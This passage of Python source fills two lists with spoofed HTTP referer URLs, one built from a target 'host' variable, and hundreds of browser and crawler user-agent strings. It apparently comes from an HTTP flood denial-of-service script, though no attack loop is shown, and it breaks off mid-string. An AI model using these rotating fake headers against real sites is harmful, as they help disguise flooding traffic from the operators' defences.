headers_referers.append('http://jobs.bloomberg.com/search?q=') headers_referers.append('https://www.pinterest.com/search/?q=') headers_referers.append('http://millercenter.org/search?q=') headers_referers.append('https://www.npmjs.com/search?q=') headers_referers.append('http://www.evidence.nhs.uk/search?q=') headers_referers.append('http://www.shodanhq.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://coccoc.com/search#query=') headers_referers.append('http://www.search.com/search?q=') headers_referers.append('http://ytmnd.com/search?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://' + host + '/') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_referers.append('https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=') headers_referers.append('http://www.google.com/?q=') headers_referers.append('https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=') headers_referers.append('https://drive.google.com/viewerng/viewer?url=') headers_referers.append('http://www.google.com/translate?u=') headers_referers.append('https://developers.google.com/speed/pagespeed/insights/?url=') headers_referers.append('http://help.baidu.com/searchResult?keywords=') headers_referers.append('http://www.bing.com/search?q=') headers_referers.append('https://add.my.yahoo.com/rss?url=') headers_referers.append('https://play.google.com/store/search?q=') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1') headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)') headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 